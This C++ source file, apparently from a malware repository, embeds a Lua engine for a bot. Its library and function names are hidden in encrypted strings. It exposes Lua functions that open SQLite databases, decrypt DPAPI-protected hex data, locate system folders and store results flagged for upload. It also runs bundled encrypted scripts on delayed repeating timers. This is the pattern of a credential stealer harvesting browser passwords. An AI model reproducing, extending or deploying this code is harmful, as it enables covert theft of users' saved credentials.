-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathscriptmodule.cpp
523 lines (450 loc) · 12.7 KB
/
scriptmodule.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
#include "stdafx.h"
#include "scriptmodule.h"
#include "cryptedscripts.h"
#include "cryptedstrings.h"
#include "string.h"
#include "sqlite3.h"
#include "infodatabase.h"
#include "kernel.h"
#include "debug.h"
#include "bzprotocol.h"
#include "threadsgroup.h"
#include "defines.h"
#include "../include/lua.h"
#include "../include/lauxlib.h"
#include "../include/lualib.h"
static lua_State* luaStateGeneric;
static ThreadsGroup::GROUP scriptsGroup;
#pragma region l_bzplib
static int l_bzp_validate(lua_State * luaState)
{
if (!lua_isstring(luaState, 1))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
std::string url(lua_tostring(luaState, 1));
lua_pushinteger(luaState, BzProtocol::validateHost(std::wstring(url.begin(), url.end()).c_str()));
}
return 1;
}
LPSTR bzplib_name;
luaL_Reg bzplib_funcs[] = {
{ NULL, l_bzp_validate },
{ NULL, NULL }
};
void init_bzplib()
{
bzplib_name = new char[CryptedStrings::len_lua_lib_bzp];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_bzp, bzplib_name);
bzplib_funcs[0].name = new char[CryptedStrings::len_lua_lib_bzp_validate];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_bzp_validate, (char *)bzplib_funcs[0].name);
}
void uninit_bzplib()
{
delete bzplib_name;
delete bzplib_funcs[0].name;
}
int luaopen_bzplib(lua_State * L)
{
luaL_newlib(L, bzplib_funcs);
return 1;
}
#pragma endregion
#pragma region d2
static int l_d2_ls(lua_State * luaState)
{
lua_pushlstring(luaState, c_loadingScreen, std::extent<decltype(c_loadingScreen)>::value);
return 1;
}
static int l_d2_ca(lua_State * luaState)
{
lua_pushlstring(luaState, c_classAlias, std::extent<decltype(c_classAlias)>::value);
return 1;
}
LPSTR d2lib_name = "d2";
luaL_Reg d2lib_funcs[] = {
{ "ls", l_d2_ls },
{ "ca", l_d2_ca },
{ NULL, NULL }
};
int luaopen_d2lib(lua_State * L)
{
luaL_newlib(L, d2lib_funcs);
return 1;
}
#pragma endregion
#pragma region l_databaselib
static int l_database_add(lua_State * luaState)
{
if (!lua_isinteger(luaState, 1) || !lua_isinteger(luaState, 2) || !lua_isstring(luaState, 3))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
size_t len;
const char * buffer = lua_tolstring(luaState, 3, &len);
bool result = InfoDatabase::addItem(&kernelData.database, (unsigned int)lua_tointeger(luaState, 1), len, (unsigned int)lua_tointeger(luaState, 2), buffer);
lua_pushboolean(luaState, result);
}
return 1;
}
LPSTR databaselib_name;
luaL_Reg databaselib_funcs[] = {
{ NULL, l_database_add },
{ NULL, NULL }
};
void init_databaselib()
{
databaselib_name = new char[CryptedStrings::len_lua_lib_database];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_database, databaselib_name);
databaselib_funcs[0].name = new char[CryptedStrings::len_lua_lib_database_add];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_database_add, (char *)databaselib_funcs[0].name);
}
void uninit_databaselib()
{
delete databaselib_name;
delete databaselib_funcs[0].name;
}
int luaopen_databaselib(lua_State * L)
{
luaL_newlib(L, databaselib_funcs);
return 1;
}
#pragma endregion
#pragma region l_sqlite3lib
static int l_sqlite3_open(lua_State * luaState)
{
if (!lua_isstring(luaState, 1))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
sqlite3 *db;
if (sqlite3_open(lua_tostring(luaState, 1), &db) != SQLITE_OK && db != NULL)
{
sqlite3_close(db);
lua_pushstring(luaState, sqlite3_errmsg(db));
lua_error(luaState);
}
else
{
lua_pushlightuserdata(luaState, db);
}
}
return 1;
}
static int l_sqlite3_gettable(lua_State * luaState)
{
if (!lua_islightuserdata(luaState, 1) || !lua_isstring(luaState, 2))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
sqlite3 *db = (sqlite3*)lua_topointer(luaState, 1);
char *error_str = NULL;
int pnRow;
int pnColumn;
char **pazResult;
if (sqlite3_get_table(db, lua_tostring(luaState, 2), &pazResult, &pnRow, &pnColumn, &error_str) != SQLITE_OK)
{
lua_pushstring(luaState, error_str);
lua_error(luaState);
sqlite3_free_table(pazResult);
}
else
{
for (int c = 0; c < pnColumn;c++)
{
lua_newtable(luaState);
for (int r = 0; r < pnRow; r++)
{
lua_pushstring(luaState, pazResult[pnColumn + pnColumn * r + c]);
lua_rawseti(luaState, -2, r);
}
}
sqlite3_free_table(pazResult);
return pnColumn;
}
}
return 1;
}
static int l_sqlite3_close(lua_State * luaState)
{
if (!lua_islightuserdata(luaState, 1))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
sqlite3 *db = (sqlite3*)lua_topointer(luaState, 1);
sqlite3_close(db);
}
return 0;
}
LPSTR sqlite3lib_name;
luaL_Reg sqlite3lib_funcs[] = {
{ NULL, l_sqlite3_open },
{ NULL, l_sqlite3_gettable },
{ NULL, l_sqlite3_close },
{ NULL, NULL }
};
void init_sqlite3lib()
{
sqlite3lib_name = new char[CryptedStrings::len_lua_lib_sqlite3];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_sqlite3, sqlite3lib_name);
sqlite3lib_funcs[0].name = new char[CryptedStrings::len_lua_lib_sqlite3_open];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_sqlite3_open, (char *)sqlite3lib_funcs[0].name);
sqlite3lib_funcs[1].name = new char[CryptedStrings::len_lua_lib_sqlite3_gettable];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_sqlite3_gettable, (char *)sqlite3lib_funcs[1].name);
sqlite3lib_funcs[2].name = new char[CryptedStrings::len_lua_lib_sqlite3_close];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_sqlite3_close, (char *)sqlite3lib_funcs[2].name);
}
void uninit_sqlite3lib()
{
delete sqlite3lib_name;
delete sqlite3lib_funcs[0].name;
delete sqlite3lib_funcs[1].name;
delete sqlite3lib_funcs[2].name;
}
int luaopen_sqlite3lib(lua_State * L)
{
luaL_newlib(L, sqlite3lib_funcs);
return 1;
}
#pragma endregion
#pragma region l_windowslib
static int l_windows_getfolder(lua_State * luaState)
{
if (!lua_isnumber(luaState, 1))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
WCHAR path[MAX_PATH];
if (SHGetFolderPathW(NULL, (int)lua_tointeger(luaState, 1), NULL, SHGFP_TYPE_CURRENT, path) != S_OK)
{
CSTRA(error_str, lua_error_system);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
char pathA[MAX_PATH];
PathRemoveBackslashW(path);
String::_unicodeToAnsi(path, String::_LengthW(path), pathA, MAX_PATH);
lua_pushstring(luaState, pathA);
}
}
return 1;
}
static int l_windows_messagebox(lua_State * luaState)
{
if (!lua_isstring(luaState, 1) || !lua_isstring(luaState, 2) || !lua_isnumber(luaState, 3))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
LPCSTR textA = lua_tostring(luaState, 1);
LPCSTR captionA = lua_tostring(luaState, 2);
LPCWSTR text = String::_ansiToUnicodeEx((LPSTR)textA, strlen(textA));
LPCWSTR caption = String::_ansiToUnicodeEx((LPSTR)captionA, strlen(textA));
int result = MessageBox(NULL, text, caption, (UINT)lua_tointeger(luaState, 3));
free((void*)text);
free((void*)caption);
}
return 1;
}
static int l_windows_cryptunprotecthexdata(lua_State * luaState)
{
if (!lua_isstring(luaState, 1))
{
CSTRA(error_str, lua_error_bad_signature);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
LPCSTR hexA = lua_tostring(luaState, 1);
LPCWSTR hex = String::_ansiToUnicodeEx((LPSTR)hexA, strlen(hexA));
if (strlen(hexA) % 2 != 0)
{
CSTRA(error_str, lua_error_system);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
BYTE * crypted = new BYTE[strlen(hexA) / 2 + 1];
DWORD size;
CryptStringToBinary(hex, NULL, CRYPT_STRING_HEX, crypted, &size, NULL, NULL);
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DataIn.cbData = size;
DataIn.pbData = crypted;
if (!CryptUnprotectData(&DataIn, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, &DataOut))
{
CSTRA(error_str, lua_error_system);
lua_pushstring(luaState, error_str);
lua_error(luaState);
}
else
{
char * decrypted = new char[DataOut.cbData + 1];
CopyMemory(decrypted, DataOut.pbData, DataOut.cbData);
decrypted[DataOut.cbData] = NULL;
lua_pushstring(luaState, decrypted);
delete decrypted;
}
delete crypted;
free((void*)hex);
}
}
return 1;
}
LPSTR windowslib_name;
luaL_Reg windowslib_funcs[] = {
{ NULL, l_windows_messagebox },
{ NULL, l_windows_getfolder },
{ NULL, l_windows_cryptunprotecthexdata },
{ NULL, NULL }
};
void init_windowslib()
{
windowslib_name = new char[CryptedStrings::len_lua_lib_windows];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_windows, windowslib_name);
windowslib_funcs[0].name = new char[CryptedStrings::len_lua_lib_windows_messagebox];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_windows_messagebox, (char *)windowslib_funcs[0].name);
windowslib_funcs[1].name = new char[CryptedStrings::len_lua_lib_windows_getfolder];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_windows_getfolder, (char *)windowslib_funcs[1].name);
windowslib_funcs[2].name = new char[CryptedStrings::len_lua_lib_windows_cryptunprotecthexdata];
CryptedStrings::_getA(CryptedStrings::id_lua_lib_windows_cryptunprotecthexdata, (char *)windowslib_funcs[2].name);
}
void uninit_windowslib()
{
delete windowslib_name;
delete windowslib_funcs[0].name;
delete windowslib_funcs[1].name;
}
int luaopen_windowslib(lua_State * L)
{
luaL_newlib(L, windowslib_funcs);
return 1;
}
#pragma endregion
static void initState(lua_State * luaState)
{
luaL_openlibs(luaState);
luaL_requiref(luaState, windowslib_name, luaopen_windowslib, true);
luaL_requiref(luaState, sqlite3lib_name, luaopen_sqlite3lib, true);
luaL_requiref(luaState, databaselib_name, luaopen_databaselib, true);
luaL_requiref(luaState, bzplib_name, luaopen_bzplib, true);
luaL_requiref(luaState, d2lib_name, luaopen_d2lib, true);
}
void ScriptModule::init()
{
init_windowslib();
init_sqlite3lib();
init_databaselib();
init_bzplib();
luaStateGeneric = luaL_newstate();
initState(luaStateGeneric);
ThreadsGroup::_createGroup(&scriptsGroup);
}
void ScriptModule::uninit()
{
uninit_windowslib();
uninit_sqlite3lib();
uninit_databaselib();
uninit_bzplib();
ThreadsGroup::_closeGroup(&scriptsGroup);
}
BOOL ScriptModule::_executeScript(const char * script, LPVOID * result, BOOL * hasResult)
{
if(hasResult != NULL) *hasResult = false;
BOOL scriptResult;
try
{
scriptResult = luaL_dostring(luaStateGeneric, script);
}
catch (...)
{
}
if (scriptResult && lua_isstring(luaStateGeneric, -1)) {
std::string error = std::string("Exception executing script : ").append(lua_tostring(luaStateGeneric, -1));
InfoDatabase::addItem(&kernelData.database, InfoDatabase::TYPE_LOG_ERROR, error.size(), InfoDatabase::ITEM_FLAG_POP | InfoDatabase::ITEM_FLAG_UPLOAD, error.c_str());
WDEBUG("Exception in script: " << lua_tostring(luaStateGeneric, -1));
}
if (hasResult == NULL || result == NULL) return scriptResult;
if (lua_isstring(luaStateGeneric, -1))
{
const char * luaResultString = lua_tostring(luaStateGeneric, -1);
CHAR * resultString = new CHAR[strlen(luaResultString) + 1];
strcpy_s(resultString, strlen(luaResultString) + 1, luaResultString);
*result = resultString;
*hasResult = true;
}
else if (lua_isinteger(luaStateGeneric, -1))
{
int * resultInt = new int((int)lua_tointeger(luaStateGeneric, -1));
*result = resultInt;
*hasResult = true;
}
lua_settop(luaStateGeneric, 0);
return scriptResult;
}
static DWORD WINAPI _procScript(void * data)
{
Sleep(5000);
lua_State * state = luaL_newstate();
initState(state);
ScriptModule::_script_data_t * scriptData = (ScriptModule::_script_data_t *)data;
while (scriptData->cycle > 0)
{
char * script = new char[scriptData->len + 1];
CryptedScripts::_getScriptA((short)scriptData->id, script);
if (luaL_dostring(state, script))
{
const char * message = lua_tostring(state, -1);
if (scriptData->log)
{
InfoDatabase::addItem(&kernelData.database, InfoDatabase::TYPE_LOG_ERROR, strlen(message), InfoDatabase::ITEM_FLAG_UPLOAD | InfoDatabase::ITEM_FLAG_POP, message);
}
WDEBUG("Error lua :" << message);
}
delete script;
//TODO:100%zero memory
Sleep(scriptData->cycle);
}
lua_close(state);
return 0;
}
void ScriptModule::registerCronScript(DWORD id, DWORD cycle, DWORD len, BOOL log)
{
_script_data_t * data = (_script_data_t *)malloc(sizeof(_script_data_t));
data->cycle = cycle;
data->id = id;
data->len = len;
data->log = log;
ThreadsGroup::_createThread(&scriptsGroup, 0, _procScript, data, NULL, NULL);
}